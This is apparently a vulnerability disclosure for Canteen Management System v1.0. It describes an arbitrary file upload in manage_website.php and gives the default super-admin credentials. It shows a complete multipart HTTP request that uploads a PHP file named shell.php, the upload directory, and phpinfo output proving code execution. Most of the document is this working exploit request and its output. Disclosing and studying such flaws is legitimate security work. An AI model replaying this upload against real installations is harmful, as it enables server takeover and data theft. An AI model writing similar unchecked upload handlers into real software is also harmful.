

main

...

bug_report / vendors / mayuri_k / canteen-management-system / RCE-1.md



HKD01I Create RCE-1.md

History

1 contributor

100 lines (69 sloc) | 3.18 KB

...

Canteen Management System v1.0 by mayuri_k has arbitrary code execution (RCE)

BUG_Author: QiaoRui feng

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xampp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability url: ip/youthappam/manage_website.php

Loophole location: Canteen Management System's manage_website.php file exists arbitrary file upload (RCE)

Request package for file upload:

```
POST /youthappam/manage_website.php HTTP/1.1
```

```
Host: 192.168.1.88
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.88/youthappam/manage_website.php
Cookie: PHPSESSID=lf9hph2449vgrcadct2jgd8ne
Connection: close
Content-Type: multipart/form-data; boundary=-----1386810434310
Content-Length: 1811

-----13868104343107
Content-Disposition: form-data; name="title"

Admin Panel by
-----13868104343107
Content-Disposition: form-data; name="footer"

Admin PanelÃ¹
-----13868104343107
Content-Disposition: form-data; name="short_title"

9090908080
-----13868104343107
Content-Disposition: form-data; name="currency_code"

India
-----13868104343107
Content-Disposition: form-data; name="currency_symbol"

Ã¹
-----13868104343107
Content-Disposition: form-data; name="old_website_image"

shell.php
-----13868104343107
Content-Disposition: form-data; name="website_image"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----13868104343107
Content-Disposition: form-data; name="old_invoice_image"

logo.jpg
-----13868104343107
Content-Disposition: form-data; name="invoice_image"; filename=""
Content-Type: application/octet-stream

-----13868104343107
Content-Disposition: form-data; name="old_login_image"

```
logo.png
-----13868104343107
Content-Disposition: form-data; name="login_image"; filename=""
Content-Type: application/octet-stream

-----13868104343107
Content-Disposition: form-data; name="old_back_login_image"

logo.jpg
-----13868104343107
Content-Disposition: form-data; name="back_login_image"; filename=""
Content-Type: application/octet-stream

-----13868104343107
Content-Disposition: form-data; name="btn_web"

-----13868104343107--
```



The files will be uploaded to this directory \youthappam\assets\uploadImage\Logo\



We visited the directory of the file in the browser and found that the code had been executed

SQL BASICS UNION-BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTTP2 ENCRYPTION OTHER

Load URL

Split URL

Execute

192.168.1.88/youthappam/assets/uploadImage/Logo/shell.php

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing s

PHP Version 8.1.0

System	Windows NT F5 6.1 build 7601 (Windows 7 Ultin
Build Date	Nov 23 2021 21:44:22
Build System	Microsoft Windows Server 2019 Datacenter [10.0
Compiler	Visual C++ 2019
Architecture	x64
Configure Command	cmd /c "cd /d %~dp0 & php -r "var_dump(\$_SERVER);"
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled